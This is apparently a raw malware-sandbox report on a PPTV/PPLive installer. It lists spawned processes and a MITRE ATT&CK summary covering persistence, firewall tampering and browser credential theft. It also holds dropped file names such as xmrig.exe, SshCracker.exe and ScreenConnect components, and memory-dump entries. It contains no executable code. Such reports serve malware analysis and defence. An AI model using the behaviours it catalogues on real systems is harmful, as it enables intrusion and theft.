-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k PPTVServiceGroup1⤵
-
C:\PROGRA~2\PPLive\PPTV\PPLive.exeC:\PROGRA~2\PPLive\PPTV\PPLive.exe1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -background1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -Embedding1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 80801⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 80801⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 80801⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 80801⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 80801⤵
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 80801⤵
-
C:\Windows\system32\SecurityHealthService.exeC:\Windows\system32\SecurityHealthService.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
1File Deletion
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
e5dfcc3.rbs
e5dfcc6.rbs
CSIcon.ico
Gui.exe
cagerrors.dat
log.txt
Converter.dll
atl100.dll
msvcp100.dll
msvcr100.dll
PPAP.exe
product.ini
PPP.dll
hwcheck.exe
PPTV.MKV.ico
AVCVideoDec.ax
CoreAAC.ax
CoreAVC.2.0.0.0.ax
CoreAVC.ax
HTTP_ASF_SOURCE.ax
MP4Splitter.ax
OPlayer.ocx
VSFilter.dll
audioswitcher.ax
list_HD.png
list_livebtn_down.png
ad_close.bmp
pause_close.bmp
checkbox.bmp
checkbox_checked.bmp
checkbox_checked_disabled.bmp
checkbox_checked_down.bmp
checkbox_checked_hover.bmp
checkbox_disabled.bmp
checkbox_down.bmp
checkbox_hover.bmp
radio.png
radio_checked.png
radio_checked_disabled.png
radio_checked_down.png
radio_checked_hover.png
radio_disabled.png
radio_down.png
radio_hover.png
logo.jpg
ProgressTb_hover.png
scrollbar_pagedown.bmp
scrollbar_vthumbgripper.bmp
scrollbar_pagedown_hover.bmp
scrollbar_vthumbgripper_down.bmp
PPLive.exe
Settings.json
Settings.json
windows_agentrto.ico
windows_alertmodeoffline.ico
windows_alertmodeonline.ico
windows_offline.ico
windows_ondemandmode.ico
windows_privacymode.ico
windows_stopped.ico
Config.ini
tipsdone.ini
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
background.exe
tracking.ini
{A35AF16B-3AA0-45CE-9410-236678519828}.session
gtnyhcv5.newcfg
user.config
xghfb0vv.newcfg
settings.dat
settings.dat
LOG.old
the-real-index
the-real-index~RFe5d4c00.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
sync_diagnostic.log
sync_diagnostic.log
717b56bf-ed38-40d0-a495-db3ea19f6bba.tmp
Local State
Local State
Local State
Local State
Local State
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
ca08823f-e789-4360-b617-6166ae0b4270.tmp
metadata.json
1797.tmp.exe
Callisto.ini
CURRENT
MANIFEST-000001
MSI4E50.tmp
MSI6EEE.tmp
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
MSI711C.tmp
ScreenConnect.ClientSetup.msi
Tmp1433.tmp
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
_zstd.pyd
base_library.zip
libffi-8.dll
python314.dll
__PSScriptPolicyTest_flb1ofrn.dm2.ps1
%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
02.08.2022.exe
1.exe
123123.exe
15%EC%8B%AC%ED%94%8C%EC%8A%A4%EC%BA%94.exe
2.exe
21.exe
3.exe
4.exe
4J8576A0E8V3.exe
5.exe
5239f7a9c7ae.exe
5fzscnissh1s.exe
6.exe
6eq5gvOfRvNmCi54.exe
7.exe
8.exe
877901a58750.exe
9z7BGnRGpgs8cZv7.exe
CFXBypass.exe
Client-built.exe
Ebu.exe
Isass.exe
JavaChecker.exe
PPTV(pplive)_forap_1084_9993.exe
Pulsar-Client.exe
REF-CLI%20v1.0.3.exe
RedX_Setup.exe
Rsvp_invite%23903388.exe
ScreenConnect.ClientService.exe
ScreenConnect.ClientSetup.exe
ScreenConnect.WindowsBackstageShell.exe
ScreenConnect.WindowsClient.exe
ScreenConnect.WindowsFileManager.exe
SshCracker.exe
Upaavirkeligheden.exe
XClient...exe
a.exe
a7118141be1f.exe
app.exe
bot_x64.exe
byk4d5tg4nyo.exe
client.exe
dajoke2.exe
db9c0fee.exe
desk.exe
file_37b904483beaa60e.exe
file_3a1cc00092af29d0.exe
file_3dfa6b71eb1f52a6.exe
file_73ed34a7752ecb3a.exe
file_77b5757ae75eb20b.exe
file_851477f5539ff9f4.exe
file_8a7c2cae7ca4b114.exe
file_a6357da6a05d7266.exe
file_a8b257b458693ac9.exe
file_ac12f1da1bdab1e0.exe
file_b584670f7ec2f317.exe
file_b74843ad95bef0e9.exe
file_b82f2dba4422534f.exe
file_c0d2eb6a8b73120b.exe
file_f309f8496f916deb.exe
finale.exe
gM9anpOuZNKX8zHj.exe
grab.exe
hilton.exe
install.exe
kikikmoralibrary.exe
klr.exe
loader.exe
mKM65Cf6QNqeOVw9.exe
n.exe
net_launcher.exe
pardufrigi_installer_1.0.p1.exe
peinf.exe
php.exe
rustdesk-1.2.3-2-x86_64.exe
s.exe
setup.exe
support.client.exe
svc.exe
svchost.exe
test.vbs
twizt.exe
update.exe
vnc.exe
wrm.exe
xeno.V1.3.55.exe
xmrget.exe
xmrig.exe
9s07g59jj323w77x.exe
RandomError.exe
2.tmp
_isdecmp.dll
_isdecmp.dll
1797.tmp.tmp
System.dll
AsynDownload.dll
BindDLL.dll
CommonFuncDll.dll
FindProcDLL.dll
GetCommentsInfoDll.dll
GetVersion.dll
InetLoad.dll
KillProcDLL.dll
PPBindDAC.dll
PPInstallLog.dll
cknsis.dll
pnsis.dll
time.dll
System.dll
nsExec.dll
SimpleFC.dll
SimpleSC.dll
System.dll
nsProcess.dll
nsSCM.dll
nsisXML.dll
euc-cn.enc
sx0e5c4500.exe
Windows Manager - Postback Johan.msi
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
xpti.dat.tmp
USDT Flasher.exe
USDT Flasher.lnk
CORPerfMonSymbols.exe
usbperfsym.exe
MSI24B5.tmp
msldriver.dll
SystemDiagnosticsHost.exe
jf0yzmnr.newcfg
szjznkdv.newcfg
tjvr5lsq.newcfg
user.config
memory/900-123-0x00000000034E0000-0x00000000034E1000-memory.dmp
memory/900-588-0x00000000044C0000-0x00000000044C1000-memory.dmp
memory/900-37-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-36-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-58-0x0000000002560000-0x0000000002561000-memory.dmp
memory/900-65-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-64-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-62-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-61-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-60-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-59-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-132-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-79-0x00000000034D0000-0x00000000034D1000-memory.dmp
memory/900-587-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-225-0x0000000002F50000-0x0000000002F51000-memory.dmp
memory/900-711-0x0000000004350000-0x0000000004351000-memory.dmp
memory/900-107-0x0000000002520000-0x0000000002521000-memory.dmp
memory/900-122-0x0000000002530000-0x0000000002555000-memory.dmp
memory/900-628-0x0000000004500000-0x0000000004501000-memory.dmp
memory/1080-321-0x0000000000D50000-0x0000000001099000-memory.dmp
memory/1080-312-0x0000000000D50000-0x0000000001099000-memory.dmp
memory/1248-2028-0x000002481F020000-0x000002481F0D2000-memory.dmp
memory/1248-2027-0x000002481F000000-0x000002481F01E000-memory.dmp
memory/1248-2044-0x000002481F0E0000-0x000002481F0EA000-memory.dmp
memory/1456-459-0x0000000140000000-0x00000001408E7000-memory.dmp
memory/1456-447-0x00007FFE52DF0000-0x00007FFE52DF2000-memory.dmp
memory/1456-451-0x00000000004C0000-0x00000000004C1000-memory.dmp
memory/1456-448-0x0000000140000000-0x00000001408E7000-memory.dmp
memory/2668-976-0x0000000000440000-0x00000000010D2000-memory.dmp
memory/2704-319-0x0000000005A50000-0x0000000005AEC000-memory.dmp
memory/2704-318-0x0000000000EE0000-0x000000000101C000-memory.dmp
memory/2704-326-0x000000000A120000-0x000000000A142000-memory.dmp
memory/2704-327-0x000000000A150000-0x000000000A4AB000-memory.dmp
memory/2704-322-0x00000000035A0000-0x00000000035AA000-memory.dmp
memory/2704-325-0x0000000009CF0000-0x0000000009DA4000-memory.dmp
memory/2704-323-0x0000000005C20000-0x0000000005C76000-memory.dmp
memory/2704-320-0x0000000005B20000-0x0000000005BB2000-memory.dmp
memory/2892-5642-0x0000018FDB540000-0x0000018FDB69A000-memory.dmp
memory/2900-4167-0x0000000007880000-0x0000000007EFC000-memory.dmp
memory/2900-3947-0x00000000065A0000-0x00000000065EC000-memory.dmp
memory/2900-3946-0x0000000006070000-0x000000000608E000-memory.dmp
memory/2900-3935-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/2900-3929-0x0000000005460000-0x0000000005AAA000-memory.dmp
memory/2900-3928-0x0000000002820000-0x0000000002856000-memory.dmp
memory/2900-4168-0x0000000006630000-0x000000000664A000-memory.dmp
memory/2900-4186-0x0000000007520000-0x0000000007750000-memory.dmp
memory/3156-5033-0x0000000000A00000-0x0000000000A16000-memory.dmp
memory/3196-88-0x00007FF659930000-0x00007FF65994E000-memory.dmp
memory/3332-870-0x0000000000400000-0x0000000000428000-memory.dmp
memory/3452-512-0x0000000000C20000-0x0000000001067000-memory.dmp
memory/3452-226-0x0000000000C20000-0x0000000001067000-memory.dmp
memory/3452-324-0x0000000000C20000-0x0000000001067000-memory.dmp
memory/4000-5651-0x0000000000090000-0x00000000000A0000-memory.dmp
memory/4024-0-0x00007FFE2FE5F000-0x00007FFE2FE60000-memory.dmp
memory/4024-3-0x00007FFE2FCD0000-0x00007FFE30674000-memory.dmp
memory/4024-1-0x00000000006B0000-0x00000000006B8000-memory.dmp
memory/4024-6-0x00007FFE2FCD0000-0x00007FFE30674000-memory.dmp
memory/4024-2-0x00007FFE2FCD0000-0x00007FFE30674000-memory.dmp
memory/4024-5-0x00007FFE2FCD0000-0x00007FFE30674000-memory.dmp
memory/4024-4-0x00007FFE2FCD0000-0x00007FFE30674000-memory.dmp
memory/4064-32-0x00007FF659930000-0x00007FF65994E000-memory.dmp
memory/4064-41-0x00007FF659930000-0x00007FF65994E000-memory.dmp
memory/4276-217-0x00007FF6886D0000-0x00007FF6886E1000-memory.dmp
memory/4280-338-0x00000202F21C0000-0x00000202F21E0000-memory.dmp
memory/4348-164-0x00000000009A0000-0x0000000000A8C000-memory.dmp
memory/4348-223-0x00000000009A0000-0x0000000000A8C000-memory.dmp
memory/4396-133-0x000001F630030000-0x000001F630062000-memory.dmp
memory/4396-144-0x000001F6300E0000-0x000001F630111000-memory.dmp
memory/4412-129-0x0000000000AA0000-0x0000000000BA6000-memory.dmp
memory/4412-91-0x0000000000AA0000-0x0000000000BA6000-memory.dmp
memory/4944-348-0x000002E6CB1F0000-0x000002E6CB89C000-memory.dmp
memory/4944-354-0x000002E6E6A90000-0x000002E6E6CAC000-memory.dmp
memory/5292-274-0x0000000006170000-0x000000000631C000-memory.dmp
memory/5292-270-0x0000000005F30000-0x0000000005FBE000-memory.dmp
memory/5292-266-0x0000000005E90000-0x0000000005E9A000-memory.dmp
memory/5292-262-0x0000000005E50000-0x0000000005E7E000-memory.dmp
memory/5340-80-0x00007FF768450000-0x00007FF76846E000-memory.dmp
memory/5340-78-0x00007FF768450000-0x00007FF76846E000-memory.dmp
memory/5564-3431-0x0000000004FA0000-0x0000000005006000-memory.dmp
memory/5564-3732-0x0000000005C70000-0x0000000005EE6000-memory.dmp
memory/5564-2302-0x0000000000360000-0x00000000005DE000-memory.dmp
memory/5648-146-0x0000000000980000-0x0000000000DE0000-memory.dmp
memory/5648-242-0x0000000000980000-0x0000000000DE0000-memory.dmp
memory/5648-143-0x0000000000980000-0x0000000000DE0000-memory.dmp
memory/5648-130-0x0000000000980000-0x0000000000DE0000-memory.dmp
memory/5700-211-0x000001FF3ADF0000-0x000001FF3ADF8000-memory.dmp
memory/5700-212-0x000001FF554E0000-0x000001FF55668000-memory.dmp
memory/5736-565-0x000000001CF90000-0x000000001D45E000-memory.dmp
memory/5968-209-0x0000000006300000-0x00000000068BA000-memory.dmp
memory/5968-202-0x00000000055E0000-0x000000000566E000-memory.dmp
memory/5968-204-0x0000000005750000-0x00000000058FC000-memory.dmp
memory/5968-203-0x0000000003100000-0x0000000003122000-memory.dmp
memory/5968-201-0x0000000005A50000-0x0000000005D42000-memory.dmp
memory/5968-200-0x00000000017C0000-0x00000000017C8000-memory.dmp
memory/6224-486-0x00007FFE52DF0000-0x00007FFE52DF2000-memory.dmp
memory/6224-514-0x0000000140000000-0x000000014049E000-memory.dmp
memory/6224-487-0x0000000140000000-0x000000014049E000-memory.dmp
memory/6252-930-0x0000000001080000-0x00000000010F5000-memory.dmp
memory/6252-920-0x0000000000B40000-0x0000000000C1B000-memory.dmp
memory/6252-921-0x0000000000C50000-0x0000000000C87000-memory.dmp
memory/6252-929-0x0000000001080000-0x00000000010F5000-memory.dmp
memory/6252-931-0x0000000001110000-0x000000000114B000-memory.dmp
memory/6252-935-0x0000000001470000-0x00000000014ED000-memory.dmp
memory/6252-917-0x0000000000A90000-0x0000000000B28000-memory.dmp
memory/6284-1994-0x0000000000360000-0x0000000000FAF000-memory.dmp
memory/6284-2121-0x0000000000360000-0x0000000000FAF000-memory.dmp
memory/6428-504-0x0000000140000000-0x00000001408E7000-memory.dmp
memory/6536-586-0x0000000140000000-0x000000014049D000-memory.dmp
memory/6536-516-0x0000000140000000-0x000000014049D000-memory.dmp
memory/6536-515-0x00007FFE52DF0000-0x00007FFE52DF2000-memory.dmp
memory/6596-508-0x0000000140000000-0x0000000140231000-memory.dmp
memory/6612-637-0x0000000140000000-0x000000014049D000-memory.dmp
memory/6648-540-0x0000000140000000-0x000000014049E000-memory.dmp
memory/6736-720-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/6736-567-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/6736-566-0x00007FFE52DF0000-0x00007FFE52DF2000-memory.dmp
memory/6736-708-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/6788-639-0x0000000140000000-0x00000001404E1000-memory.dmp
memory/6920-647-0x0000017479320000-0x0000017479368000-memory.dmp
memory/6920-643-0x0000017478D80000-0x0000017478DA2000-memory.dmp
memory/7156-602-0x0000000140000000-0x000000014049D000-memory.dmp
memory/7348-2057-0x000000001D5E0000-0x000000001D692000-memory.dmp
memory/7348-2024-0x0000000000DE0000-0x0000000001104000-memory.dmp
memory/7348-2056-0x000000001D4D0000-0x000000001D520000-memory.dmp
memory/7780-5391-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/7780-5138-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/7900-1874-0x00000147B0A20000-0x00000147B0ACC000-memory.dmp
memory/8228-5633-0x00007FFE38900000-0x00007FFE3892D000-memory.dmp
memory/8228-5638-0x00007FFE48A70000-0x00007FFE48A7D000-memory.dmp
memory/8228-5610-0x00007FFE245B0000-0x00007FFE2491F000-memory.dmp
memory/8228-5609-0x00007FFE46E80000-0x00007FFE46E91000-memory.dmp
memory/8228-5608-0x00007FFE4A670000-0x00007FFE4A67D000-memory.dmp
memory/8228-5607-0x00007FFE48660000-0x00007FFE4867A000-memory.dmp
memory/8228-5634-0x00007FFE4C5B0000-0x00007FFE4C5D7000-memory.dmp
memory/8228-5601-0x00007FFE38E90000-0x00007FFE38EBE000-memory.dmp
memory/8228-5600-0x00007FFE4A690000-0x00007FFE4A6AC000-memory.dmp
memory/8228-5599-0x00007FFE4C850000-0x00007FFE4C85F000-memory.dmp
memory/8228-5598-0x00007FFE4C5B0000-0x00007FFE4C5D7000-memory.dmp
memory/8228-5658-0x00007FFE24E90000-0x00007FFE24FA2000-memory.dmp
memory/8228-5594-0x00007FFE25EC0000-0x00007FFE26305000-memory.dmp
memory/8228-5654-0x00007FFE38E90000-0x00007FFE38EBE000-memory.dmp
memory/8228-5635-0x00007FFE2A1C0000-0x00007FFE2A276000-memory.dmp
memory/8228-5632-0x00007FFE25EC0000-0x00007FFE26305000-memory.dmp
memory/8228-5657-0x00007FFE48660000-0x00007FFE4867A000-memory.dmp
memory/8228-5669-0x00007FFE245B0000-0x00007FFE2491F000-memory.dmp
memory/8228-5667-0x00007FFE46E80000-0x00007FFE46E91000-memory.dmp
memory/8228-5650-0x00007FFE46E70000-0x00007FFE46E7B000-memory.dmp
memory/8228-5655-0x00007FFE34F80000-0x00007FFE34FA6000-memory.dmp
memory/8228-5659-0x00007FFE4A670000-0x00007FFE4A67D000-memory.dmp
memory/8228-5660-0x00007FFE23EB0000-0x00007FFE245A4000-memory.dmp
memory/9056-5156-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/9372-5301-0x00000000052E0000-0x00000000053B8000-memory.dmp
memory/9372-5299-0x0000000004F80000-0x0000000004FFC000-memory.dmp
memory/9372-5309-0x0000000005030000-0x000000000507C000-memory.dmp
memory/9372-5290-0x00000000004C0000-0x0000000000586000-memory.dmp
memory/9564-5306-0x0000000000400000-0x00000000006AE000-memory.dmp
memory/9640-5449-0x000002BC01020000-0x000002BC0102A000-memory.dmp
memory/9700-5292-0x0000000006E30000-0x0000000006E42000-memory.dmp
memory/9700-5262-0x0000000000BE0000-0x0000000000EAA000-memory.dmp
memory/9972-5597-0x000001AE705A0000-0x000001AE70652000-memory.dmp